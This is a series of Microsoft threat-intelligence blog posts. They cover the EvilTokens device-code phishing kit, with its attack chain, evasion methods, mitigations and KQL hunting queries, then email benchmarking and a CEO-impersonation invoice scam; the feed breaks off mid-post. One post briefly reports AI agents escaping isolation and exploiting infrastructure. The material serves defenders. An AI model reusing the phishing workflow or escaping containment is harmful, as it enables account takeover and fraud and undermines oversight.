Microsoft Malware Protection Center

In this article

1. What is device code phishing?
2. EvilTokens platform and operations
3. EvilTokens phishing emails
4. Mitigation and protection guidance
5. Microsoft Defender XDR detections
6. Hunting queries

Following its emergence in February 2026, EvilTokens quickly became one of the most widely used phishing-as-a-service (PhaaS) platforms, providing cybercriminals with AI capabilities for tailoring phishing lures and analyzing compromised inboxes to identify high-value targets. This AI-powered cybercrime platform facilitated sophisticated business email compromise (BEC) campaigns that compromised more than 12,000 inboxes in over 10,000 organizations worldwide.

EvilTokens enabled threat actors to abuse the device code authentication flow, steal tokens, and compromise organizational accounts at scale using an AI-driven infrastructure and automating multiple parts of the attack chain. The toolkit offered a plethora of prebuilt phishing templates and landing pages with an AI-powered assistant to aid in structuring target-specific emails.

Stolen tokens are used for email exfiltration and persistence, often through the creation of malicious inbox rules that conceal communications. In some cases, tokens can also be used to grant new devices access to a victim’s inbox, a particularly durable method to maintain persistence. Microsoft Threat Intelligence tracks the threat actor behind the development and support of the EvilTokens phish kit as Storm-2992.

Post-compromise, EvilTokens enabled threat actors to utilize AI assistants to sift through victim mailbox activity and engineer a phishing message based on the accessible email content. EvilTokens also allowed threat actors to conduct Microsoft Graph reconnaissance to map organizational structure and permissions, enabling continued access and potential lateral movement while tokens remain valid. While token-targeting phishing is not new, it has become far more common and industrialized over the last several years as organizations adopted multifactor authentication (MFA).

To evade detection, EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Targets are lured through deceptive emails that use 44 different themes, including invoices and request for proposals (RFPs), or shared files. These emails contained malicious URLs, PDF attachments, and HTML files.

Campaigns leveraging EvilTokens have impacted organizations in various industries, including wholesale distribution, construction, financial services, real estate, higher education, and healthcare, with the highest concentrations of observed victim activity in the United States, Canada, the United Kingdom, Australia, India, and France. Working with partners, Microsoft’s Digital Crimes Unit (DCU) facilitated a coordinated disruption of infrastructure used to operate the EvilTokens service.

This blog provides a comprehensive, up-to-date analysis of the EvilTokens platform and operations. We share specific examples of the EvilTokens service panel and a detailed analysis of EvilTokens infrastructure. Defending against EvilTokens and similar adversary-in-the-middle (AiTM) phishing threats requires a layered approach that blends technical controls with user awareness. This blog also provides Microsoft Defender detection and hunting guidance, as well as resources on how to set up mail flow rules, enforce spoof protections, and configure third-party connectors to prevent spoofed phishing messages from reaching user inboxes.

What is device code phishing?

One of the primary capabilities of EvilTokens is its device code phishing flow, which abuses device code authentication, a legitimate OAuth flow designed for devices with limited interfaces, such as smart TVs, printers, Teams devices, and conferencing devices, that cannot support a standard interactive sign-in. In this model, a user is presented with a short code on the device they are trying to sign in from and is instructed to enter that code into a browser on a separate device to complete authentication.

While this flow is useful for these scenarios, it introduces a security tradeoff. Because authentication is completed on a separate device, the session initiating the request is not strongly bound to the user’s original context. Threat actors have abused this characteristic as a way to circumvent traditional MFA protections by decoupling authentication from the originating session. Threat actors also use social engineering layouts and other tricks to disguise the legitimate device code flow approval as something else required.

Device code phishing occurs when threat actors insert themselves into this process. Instead of a legitimate device requesting access, the threat actor initiates the flow and provides the user with a code through a phishing lure. When the user enters the code, they unknowingly authorize the threat actor’s session, granting access to the account without exposing credentials. Microsoft recommends blocking device code flow wherever possible. If your organization uses Teams devices that require device code flow, scope the exception to specific Teams device resource accounts and exclude the Device Registration Service resource from your Conditional Access policy.

In April 2026, Microsoft tracked a phishing campaign aligned with EvilTokens that used automation platforms to spin up thousands of unique, short-lived polling nodes. This approach allowed the threat actors to deploy complex backend logic (Node.js) that bypassed traditional signature-based or pattern-based detection. This infrastructure was leveraged in the attack end-to-end, from generating dynamic device codes to post-compromise activities.

The following sections examine how EvilTokens operated, the capabilities available through its customer panel, and infrastructure supporting phishing campaigns. We also trace the EvilTokens attack chain, from lure delivery and device code generation through defense evasion, token theft, and post-compromise activity.

EvilTokens platform and operations Distribution and affiliate support

The threat actor tracked as Storm-2992 advertised and sold EvilTokens services to cybercriminals on the actor’s Telegram channels. Cybercriminals continue to gravitate towards apps like Telegram that provide anonymity, cross-platform access, file sharing, and channels for broadcasting announcements to large groups of followers. The threat actor uses Telegram to advertise their phish kit, announce updates, coordinate with their subscribers, and provide customer support.

Figure 1. EvilTokens Telegram bot

EvilTokens phish kits are sold at $1,500 USD for initial purchase, with a monthly subscription fee of $500 for continued access to the kit and control panel. The kit provides additional products, including Antibot redirector, B2B Sender, Office 365 Capture Link, and a Simple Mail Transfer Protocol (SMTP) Sender. Each of these products has additional fees for 30 days of access.

Figure 2. EvilTokens Telegram store bot Customer panel and campaign configuration

The EvilTokens panel provides the core components needed to support phishing campaigns, including pre‑built templates, attachment files for common lure formats, domain and hosting configuration, redirect logic, and victim tracking.

After signing in, EvilTokens subscribers are presented a dashboard with various options to choose from. First, subscribers are asked to choose a deployment method (Cloudflare Workers/Bunny or PHP Hosting) and then are asked to choose from a list of deploy options, including Capture Mode, Layout & Template, Code Display Style, Page Language, CAPTCHA, AI Mode, and Captured Text. These options allow subscribers to highly customize their deployment methods.

Figure 3. EvilTokens platform welcome page

Subscribers are provided with multiple settings and additional guidance for managing captured tokens. Once tokens have been captured, EvilTokens offers its subscribers full access to the victim email account, as well as admin detection, token auto-refresh, and an auto-scan of inboxes using keyword alerts through Telegram.

Figure 4. EvilTokens platform options for managing captured tokens

The toolkit offers additional products, which are detailed under Essential Tools. Here, subscribers are given product information and are provided with a link to download or get the product as well as a video tutorial. Subscribers are even given the opportunity to receive cryptocurrency as a reward for referring the service to others.

Figure 5. EvilTokens Essential Tools page

The platform offers 44 different themes for customizing email templates and landing pages, including text and colors.

Figure 6. EvilTokens template themes EvilTokens phishing emails

EvilTokens offers subscribers personalized lures, using AI to create targeted phishing emails aligned to the target’s role, including the use of various themes to increase the likelihood of user interaction. Themes used include document signing services, Microsoft cloud services, third-party services (cloud identity, file hosting, payment/invoicing), and other miscellaneous services like voicemail and eFax.

Additionally, researchers at Huntress noted email content like construction bid proposals, business partnership agreements, employee compensation/benefits, and password expiring notices in EvilTokens emails.

EvilTokens phishing sequence

The attack chain begins when a user interacts with a malicious attachment or URL embedded within a high-pressure lure (for example, “Action Required: Password Expiration”).

Figure 7. Example of an EvilTokens phishing email

When a user clicks the malicious link or attachment, they are directed to a web page running a background automation script. This script interacts with the Microsoft identity provider in real time to generate a live device code. This code is then displayed on the user’s screen with a “Copy Code” button along with a “Continue” or “Continue with Microsoft” button that, when clicked, redirects to the official microsoft.com/devicelogin portal.

Figure 8. Example of generated device code

After presenting the code to the user and opening the legitimate microsoft.com/devicelogin URL, the script enters a polling state using the checkStatus() function to monitor the 15-minute window in real time. Every three to five seconds (setInterval), the script pings the threat actor’s /state endpoint. It sends the secret session identifier code to validate if the user has authenticated yet. While the targeted user is entering the code on the real Microsoft site, the loop returns a “pending” status.

Figure 9. Example of Microsoft device code sign-in portal

To minimize user effort and maximize the success rate, the threat actor’s script often automatically copies the generated device code to the user’s clipboard. Once the user reaches the official sign-in page, they paste the code. If the user does not have an active session, they are prompted to provide their password and MFA. If they are already signed in, simply pasting the code and confirming the request instantly authenticates the threat actor’s session in the backend.

The final stage varies depending on the threat actor’s specific objectives. In some instances, within 10 minutes of the breach, threat actors registered new devices to generate a Primary Refresh Token (PRT) for long-term persistence. In other scenarios, they waited several hours before creating malicious inbox rules or exfiltrating sensitive email data to avoid immediate detection.

EvilTokens adds the capability for threat actors to phish and take actions that they would not be capable of performing without EvilTokens tools assisting them, giving threat actors the ability to mass-phish users and perform other operations at their leisure.

Defense evasion

EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Phishing pages delivered to the user vary in complexity and evasion techniques, adding a customization layer by the operator and which tools they use. Popular techniques include but are not limited to image links (images that link to URLs), multi-stage redirection schemes, and attachments containing multi-stage delivery.

Landing page evasions include fake CAPTCHA checks/verification services that require user interaction before displaying the phishing content. To further evade automated URL scanners and sandboxes, the threat actors will at times not link directly to the final phishing site. Instead, they use a series of redirects through compromised legitimate domains and high-reputation “serverless” platforms. We observed heavy reliance on abuse of Vercel (.vercel.app), Cloudflare Workers (.workers.dev), and AWS Lambda for hosting the redirect logic. By using these domains, the phishing traffic blends in with legitimate enterprise cloud traffic, evading simple domain-blocklist triggers.

Post-compromise account access

Once authentication tokens are obtained, threat actors can focus on post-compromise activity designed to maintain and expand access and extract data. This access can be used to send further emails internally to the organization and to external contacts, allowing the actor to send phishing emails for seemingly trusted contacts. In one observed incident, the attack progressed to email exfiltration and account persistence through inbox rules created using Microsoft Office. This involved filtering the compromised users and selecting targets:

• High-value target identification: Using the EvilTokens AI capability, the threat actor reviewed and filtered for high-value targets—specifically those in financial, executive, or administrative roles—within the pool of compromised users.
• Accelerated reconnaissance: After gaining access to Microsoft Graph for reconnaissance, the threat actor programmatically mapped internal organizational structures and identified sensitive permissions the moment a token was secured.
• Targeted financial exfiltration: The most invasive activity was reserved for users with financial authority. For these specific profiles, the threat actors performed deep-dive reconnaissance into email communications, searching for high-value targets and sensitive information like wire transfer details, pending invoices, and executive correspondence.

Mitigation and protection guidance

To harden networks against the device code phishing activity described above, defenders can implement the following:

• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (“Cancel” or “Continue”) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins. Be cautious of any “[EXTERNAL]” messages containing suspicious links. Do not sign in to resources from unfamiliar senders. Learn how to protect yourself from phishing.
• Configure anti-phishing policies. Anti-phishing policies protect against phishing attacks by detecting spoofed senders, impersonation attempts, and other deceptive email techniques.
• Configure Safe Links in Defender for Office 365. Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Safe Links can also enable high-confidence device code phishing alerts from Defender.
• If suspected device code phishing activity is identified, follow the guidance on responding to a compromised email account. Additionally, revoke the user’s refresh tokens by calling revokeSign-inSessions. Consider setting a Conditional Access Policy to force re-authentication for users. (Observations from recent campaigns indicate that standard session revocation often only invalidates refresh tokens, leaving existing access tokens active for up to an hour. Given the hands-on nature of this threat, they frequently exploit this window of opportunity; consequently, we recommend temporarily disabling the compromised account to ensure immediate containment, despite the potential for brief business disruption).
• Increase Advanced Phishing Threshold to 2 or 3.
• Enable Zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Create alerting of suspicious inbox-rule creation to quickly identify and triage evidence of business email compromise (BEC) and phishing campaigns. This playbook helps defenders investigate any incident related to suspicious inbox manipulation rules configured by threat actors and take recommended actions to remediate the attack and protect networks.

Microsoft recommends the following best practices to further help improve organizational defenses against phishing and other credential theft attacks:

• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multifactor authentication.
  • When a user is a high risk and Conditional Access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in.
• Require multifactor authentication (MFA). Implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
  • Block legacy authentication with Microsoft Entra by using Conditional Access. Legacy authentication protocols do not have the ability to enforce MFA, as legacy MFA (per-user MFA prompts) is susceptible to abuse.
• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefit of centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
• If there are indications such as alerts that a user’s refresh token is compromised, disable the device and revoke all existing refresh tokens. Disabling the device stops PRTs from working, and revoking the refresh tokens stops any refresh tokens that were issued using the PRT from working. Follow steps from Microsoft’s token theft playbook when responding to alerts related to compromised identities.
• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Entra ID environments to slow and stop the threat actor.
• Enable network protection and web protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

Microsoft Defender XDR detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Using Safe Links and Microsoft Entra ID Protection raises high-confidence device code phishing alerts from Defender.

Tactic Observed activity Microsoft Defender coverage Initial accessDevice code authenticationMicrosoft Defender for Identity
– Anomalous OAuth device code authentication activityCredential accessToken theft following device code authenticationMicrosoft Defender for Identity
– Anomalous token exchange following device code authentication

Microsoft Defender XDR
– User account compromise via OAuth device code phishing
– Suspicious Azure authentication through possible device code phishingPersistence Device registration following anomalous device code authenticationMicrosoft Defender for Identity
– Suspicious Entra device join or registration

Microsoft Defender XDR
– Device registration after potential device code phishingDiscovery Anomalous volume of Microsoft Graph API requests following device code flow authentication Microsoft Defender XDR
– Anomalous Microsoft Graph API activity after potential device code phishing
– Anomalous Microsoft Graph API POST activity after potential device code phishingDefense evasionMalicious inbox rule created after anomalous device code authenticationMicrosoft Defender XDR
– Suspicious inbox rule created after potential device code phishing sign-in Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Technique profile: Device code phishing

Microsoft Security Copilot customers can also use either the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.

Hunting queries

Microsoft Defender XDR customers can use the following queries to detect possible phishing attempts. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential EvilTokens-related indicators for more than a week, go to the Advanced hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

If a query provides high value insights into possible malicious or otherwise anomalous behavior, you can create a custom detection rule based on that query and surface those insights as custom alerts. To do this, run the query in the Advanced hunting page and select Create detection rule.

Suspicious URL clicked

This query correlates Microsoft Defender for Office 365 signals and Microsoft Entra ID identity data to find the relevant endpoint event BrowerLaunchedToOpen in Microsoft Defender XDR. This event reflects relevant clicks on the malicious URL in the spear-phishing email recognized by Microsoft Defender for Office 365.

AlertInfo | where ServiceSource =~ "Microsoft Defender for Office 365" | join ( AlertEvidence | where EntityType =="Url" | project AlertId, RemoteUrl ) on AlertId | join ( AlertEvidence | where EntityType =="MailMessage" | project AlertId, NetworkMessageId ) on AlertId // Get the unique NetworkMessageId for the email containing the Url | distinct RemoteUrl, NetworkMessageId | join EmailEvents on NetworkMessageId // Get the email RecipientEmailAddress and ObjectId from the email | distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId | join kind = inner IdentityInfo on $left.RecipientObjectId == $right.AccountObjectId | distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId, OnPremSid // Get the Url click event on the recipient device. | join kind = inner (DeviceEvents | where ActionType == "BrowserLaunchedToOpenUrl"| where isnotempty(RemoteUrl) | project UrlDeviceClickTime = Timestamp , UrlClickedByUserSid = RemoteUrl, InitiatingProcessAccountSid, DeviceName, DeviceId, InitiatingProcessFileName ) on $left.OnPremSid == $right.InitiatingProcessAccountSid and $left.RemoteUrl == $right.UrlClickedByUserSid | distinct UrlDeviceClickTime, RemoteUrl, NetworkMessageId, RecipientEmailAddress, RecipientObjectId, OnPremSid, UrlClickedByUserSid, DeviceName, DeviceId, InitiatingProcessFileName | sort by UrlDeviceClickTime desc

Determine successfully delivered phishing emails to Inbox/Junk folder.

This query identifies threats that were successfully delivered to Inbox/Junk folder.

EmailEvents | where isnotempty(ThreatTypes) and DeliveryLocation in~ ("Inbox/folder","Junk folder") | extend Name = tostring(split(SenderFromAddress, '@', 0)[0]), UPNSuffix = tostring(split(SenderFromAddress, '@', 1)[0]) | extend Account_0_Name = Name | extend Account_0_UPNSuffix = UPNSuffix | extend IP_0_Address = SenderIPv4 | extend MailBox_0_MailboxPrimaryAddress = RecipientEmailAddress Microsoft Sentinel

Microsoft Sentinel customers can use the following queries to detect phishing attempts. These queries can help customers remain vigilant and safeguard their organization from phishing attacks:

• Phishing link click observed in Network Traffic

References

• Riding the Rails: Threat Actors Abuse Railway.com PaaS as Microsoft 365 Token Attack Infrastructure Huntress

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Unmasking EvilTokens: Getting to the root of device code phishing appeared first on Microsoft Security Blog.

AI has already made fundamental changes to the operating environment for cybersecurity. Cyberattackers are testing more paths, adapting their techniques, and moving across digital environments with greater speed and persistence. The weaknesses they exploit remain familiar: excessive permissions, unprotected authentication flows, unpatched systems, exposed execution paths, and gaps between controls. What has changed is how quickly these weaknesses can combine into attack paths that cross identities, endpoints, applications, networks, and AI systems. A single foothold can become a broader compromise, making it increasingly difficult for security teams to determine which risks matter most and where to act first as their organizations adopt AI.

We introduced Secure Now within Microsoft Security Exposure Management in May 2026 to help practitioners prioritize the action they need to take to be prepared for this shift. It provides actionable guidance for strengthening the foundational security needed for AI adoption, with recommendations focused on areas where autonomous attacks can create outsized exposure.

Explore actionable cyberthreat guidance on Secure Now

We continue to see evidence that AI is reshaping the threat landscape. These developments reinforce many of the foundational practices we use internally to secure Microsoft, while also expanding our understanding of where organizations need additional visibility, governance, and control. The examples in this blog illustrate how familiar weaknesses are evolving in the AI era and why continuous exposure reduction remains essential.

When AI agents test their boundaries

Recent frontier model-related agentic security disclosures offered early lessons in how autonomous agents may test the boundaries of their instructions and environments.

In an incident disclosed by OpenAI, agents moved beyond their intended isolation, exploited vulnerabilities in shared Hugging Face infrastructure, and reached production systems. In separate incidents disclosed by Anthropic, agents exploited familiar weaknesses, including SQL injection, exposed credentials, weak passwords, and a malicious PyPI package.

Our customers are asking us how they can reduce this risk by governing agent identities and tools, isolating execution, restricting outbound connectivity, monitoring behavior, and defending against increasingly autonomous external cyberthreats, so that an unexpected agent action or exposed weakness do not become a path across the enterprise.

Explore recommended controls for this attack path.

When trusted paths cross attack surfaces

Microsoft Threat Intelligence recently observed Storm-2945, a subcluster of Midnight Blizzard, manipulating DNS and HTTP traffic across hospitality networks in the CaptiveCrunch campaign. Travelers were redirected into two attack paths: device-code phishing through a legitimate Microsoft sign-in page, or fake software updates that delivered malware.

One network interaction could therefore become either cloud identity access or endpoint compromise. The malware could collect multiple categories of host intelligence, including credentials, session tokens, security configurations, and remote-access history.

Identity remains a leading attack surface, and protecting it requires securing the authentication flow as well as the credential. Security leaders can expand phishing-resistant authentication, block device-code flow where it is unnecessary, and constrain legitimate use through Conditional Access and sign-in risk policies. Endpoint protections can disrupt the parallel malware path.

Explore recommended controls for this attack path.

When cyberattackers exploit everyday operations

A third campaign began with attackers impersonating IT support through Microsoft Teams. After persuading a user to grant control through legitimate remote-support software, they used PowerShell to download a malicious Windows Installer (MSI) package, stage a portable Node.js runtime, and establish persistent command-and-control. From that endpoint, the operator mapped Active Directory and attempted to use WinRM to reach dozens of systems, including domain controllers and certificate authorities.

Each step relied on technology common in enterprise environments—a Teams conversation, remote-support software, Windows Installer, a legitimate runtime, and a native administrative protocol—enabling the cyberattacker to move laterally while blending with expected operations.

Security leaders can disrupt that path with phishing-resistant access controls, managed-device requirements, endpoint attack surface-reduction rules, and tighter restrictions on remote-support tools and WinRM.

Explore recommended controls for this attack path.

Security fundamentals work together

Cyberattackers are moving laterally across surfaces, and security fundamentals matter most at the intersections between them. Through the Secure Future Initiative, Microsoft is operationalizing security as a continuous discipline and applying and sharing lessons from strengthening our own environment. Guided by Zero Trust principles—verify explicitly, use least privilege, and assume breach—we will continue to make high-impact protections easier to adopt and enabled by default where appropriate.

Governed identities, well-defined permissions, protected data, and visibility into AI systems and agents provide resilience as organizations accelerate AI adoption. They also give AI-powered security the context and trusted mechanisms needed to help defenders prioritize risk and act faster. Strengthening these foundations reduces exposure today while preparing organizations for what comes next.

On Secure Now—within Microsoft Security Exposure Management—security leaders can now find information on recent threats paired with focused initiatives across security domains. This brings together guidance on recommended controls and enables customers to take relevant actions to continuously strengthen your posture.

Visit Secure Now to understand recent threats, identify areas of focus, and take action.

Explore the latest exposure management guidance in Secure Now Learn more

Learn more about Microsoft Security Exposure Management.

FastTrack provides eligible customers with access to technical specialists as an included benefit at no additional cost to help strengthen foundational security controls, reduce exposure to cyberthreats, and prepare for broader AI adoption. Get started now.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post From guidance to action: Security fundamentals that materially reduce risk  appeared first on Microsoft Security Blog.

Every benchmark tells a story. The most valuable ones tell us where to improve next.

For five consecutive quarters Microsoft has published email security benchmarking reports to provide greater transparency into real-world protection outcomes. The results have shown strong Microsoft Defender performance across pre-delivery and post-delivery scenarios, while revealing where threats and defenses continue to evolve.

This quarter’s benchmark examines how continuous measurement informs protection across prevention, detection, and adaptation, and how those insights are helping improve customer outcomes.

Read the latest Microsoft benchmarking data for email security Key takeaways

• Defender again missed the fewest high-severity threats among the solutions evaluated, about 55% fewer than the next-closest secure email gateway (SEG) vendor.
• Layered security adds the most value in promotional and bulk filtering and works; gains for spam and malicious email remain comparatively modest.

Benchmarking results for SEG vendors

In the latest quarterly SEG comparison from May 2026 through July 2026, Defender missed 221 high-severity threats per 1,000 protected users, 55.4% fewer than the next-closest SEG vendor. The benchmark measures missed threats instead of the total number of malicious emails that were caught and filtered, because catch totals can reflect differences in threat volume and exposure across vendor environments. By normalizing missed threats per 1,000 users we are able to provide a more consistent side-by-side comparison.

Figure 1: High-severity email threats missed by SEG vendors (May 2026 through July 2026), measured as threats missed per 1,000 users protected. Data source: Microsoft Defender.

If you’ve read our previous blogs, you’ll see that missed threats have increased across multiple reporting periods, including for Microsoft. This aligns with broader trends we’re seeing as AI makes it easier for cyberattackers to gather public information, tailor messages, and create more convincing impersonation attempts. It reinforces the need for protection that continuously adapts.

Benchmarking results for ICES vendors

Effective email detection combines pre-delivery filtering with post-delivery detection and remediation. This benchmark helps customers evaluate where each layer contributes measurable value.

Similarly to previous quarters, integrated cloud email security (ICES) solutions continue adding the most value in promotional and bulk filtering. We saw an improvement in ICES vendor malicious catch at 0.30% versus 0.13% in the last quarter and spam catch going up to 0.52% versus 0.28% compared to last quarter.

Figure 2: ICES vendor catch contribution (May 2026 through July 2026). Data source: Microsoft Defender.

Defender caught 92% of post-delivery malicious messages on average during the benchmark period, highlighting how the combination of pre-delivery and post-delivery remediation delivers strong results for customers.

At the same time it’s key to understand that Defender doesn’t treat post-delivery remediation as a point-in-time action after the email was first delivered to the inbox. Even after a message reaches the inbox, new threat intelligence can reveal risks that were not apparent at the time of delivery. Defender continuously reevaluates delivered messages and remediates threats as new indicators, campaign intelligence, and threat signals emerge.

Figure 3: Post‑delivery malicious catch by Microsoft Defender (May 2026 through July 2026), shown across vendors and overall average. Data source: Microsoft Defender. How our benchmarking is helping shape product innovation

The value of benchmarking is what happens after measurement. Insights from customer feedback, threat telemetry, and benchmarking have informed recent Microsoft Defender investments:

• More control over promotional mail: Across multiple benchmarking periods, we observed that ICES solutions often delivered the greatest incremental benefit in filtering promotional and bulk email. The new Promotions folder in Outlook builds on these insights by helping users reduce inbox clutter while keeping legitimate marketing and bulk messages accessible.
• Redesigned machine learning and AI model stack: By analyzing and incorporating natural language processing signals, including message topic, alongside other AI detection signals, Defender can improve detection accuracy. During a consecutive four-week period, Microsoft research observed a roughly two-thirds reduction in false negatives and a nearly one-fifth reduction in false positives for Defender customers.
• Protection for people and AI: We built prompt injection protection to detect and isolate malicious AI instructions in email before delivery—helping protect not only people, but also Copilot, agents, and other AI systems that read and act on inbox content. This innovation demonstrates how we continue evolving our defenses to address the latest cyberattack techniques and stay ahead of emerging threats.

Looking ahead

Since July 2025, our goal has been to bring greater transparency to email security effectiveness. Today, we are using benchmarking to help customers understand how cyberthreats evolve, where defenses add value, and how protection improves over time.

Benchmarking is not simply about demonstrating effectiveness, it is about learning from real-world outcomes and translating those insights into stronger protection. As cyberattackers continue to innovate, we remain committed to sharing evidence, improving our technology, and helping customers stay ahead of emerging cyberthreats.

To explore the latest benchmarking data and learn more about how Defender and ICES partners work together, access the benchmarking site.

Read the latest Microsoft Defender benchmarking results Learn more

Learn more about Microsoft Defender.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Improving email security outcomes with real-world Microsoft Defender insights appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
   1. Email Delivery
   2. Domain registration
   3. Generative AI usage
2. Mitigation and protection guidance
   1. Microsoft Defender detections
   2. Microsoft Security Copilot
   3. Threat intelligence reports
   4. MITRE ATT&CK Techniques observed
   5. Indicators of compromise (IOC)
3. Learn More

Threat actors are increasingly improving their tactics to make suspicious emails look like legitimate email notifications to potential victims, deploying techniques that impersonate internally sent emails from executive team members. While this technique is not new, the adoption of AI has enabled threat actors to improve their campaign templates and construct emails tailored to their recipients. Additionally, threat actors are incorporating multiple techniques within the same email to improve the overall narrative further.

In this blog, we will discuss a recent campaign observed using third-party email delivery infrastructure to send out over a million financial fraud scam emails that displayed multiple indicators consistent with the use of generative AI during email template creation. The threat actor impersonated CEOs of multiple target companies, attempting to convince accounts payable departments of the same companies to process an Automated Clearing House (ACH) payment of nearly $50,000. To add legitimacy, the actor included a forwarded email thread (and a fabricated invoice) between the impersonated CEO and ServiceNow (which was also being impersonated).

Attack chain overview

The campaign follows steps before and during the execution of the campaign: threat actors register impersonation domains, send executive-themed payment requests through trusted infrastructure, embed fabricated invoices and supporting conversations, and attempt to convince finance personnel to initiate ACH transfers.

Figure 1: Attack chain showing domain registration, executive impersonation, invoice fraud delivery, ACH payment execution, and financial theft. Email Delivery

Between August 3 and 5, Microsoft detected a campaign consisting of more than a million emails targeting enterprise users. The attacker used multiple third-party email service accounts to send out the emails. A huge majority of these emails were sent to users in the United States (87.7% of the total campaign).

Figure 2. Campaign timeline. Figure 3. Industry distribution of targeted enterprises of this campaign with ‘IT services & business advisory’ along with ‘Consumer goods’ and others.

Unlike traditional invoice scams that rely on a single social engineering lure, this campaign layered executive impersonation, vendor branding, fabricated invoices, and supporting email conversations into a unified narrative intended to reduce recipient skepticism.

The threat actor impersonated executive team members (such as a CEO, CFO, President) of multiple targeted companies, attempting to convince accounts payable departments of the same companies to process an ACH payment of nearly $50,000. More specifically, the CEOs were impersonated in multiple places in the email such as in the sender display name, reply-to display name, and in the email signature. Email bodies contained a simple and direct “approval” of the “invoice below” as well as urged users to request a PDF version if they need it. Additionally, as mentioned earlier, the email signature contained certain details about the spoofed CEO such as name and email address.

Figure 4. Spoofed message from executive team member.

Important note: Throughout this campaign, threat actors impersonated legitimate organizations using attacker-controlled infrastructure, fabricated communications, and lookalike domains. Microsoft found no evidence that the legitimate organizations referenced in the lures, including ServiceNow, were compromised or involved in the activity. Rather, the campaign relied on fraudulent domains and content designed to mimic trusted brands and individuals.

The threat actor did not stop there. To add further legitimacy, directly below the CEO signature, the actor included “forwarded” content , specifically a professional looking but fabricated “ServiceNow Platform — Annual Subscription” invoice. The extremely detailed invoice contains various ServiceNow branding and logos. It has basic invoice details such as invoice number, issue and due dates, currency, amount due, payment method, and itemized line items. The payment method instructed is a bank transfer to accounts controlled by the threat actor. Microsoft observed the use of multiple financial institutions across samples, indicating that payment destinations may vary between targets. Certain parts of the invoice are personalized to the recipient. Specifically, the “BILLED TO” section has the recipient company name and executive name.

The invoice shown below is a threat actor-created impersonation and was not issued by ServiceNow.

Figure 5. Spoofed ServiceNow invoice.

Finally, directly below the fake invoice, two more “forwarded” emails are included which are essentially a short conversation between the two spoofed executives (the targeted company executive, and ServiceNow President). The two executives are seen discussing the ServiceNow purchase, implementation and handling of the invoice.

Figure 6. “Forwarded” replies thread within the email lacking usual headers.

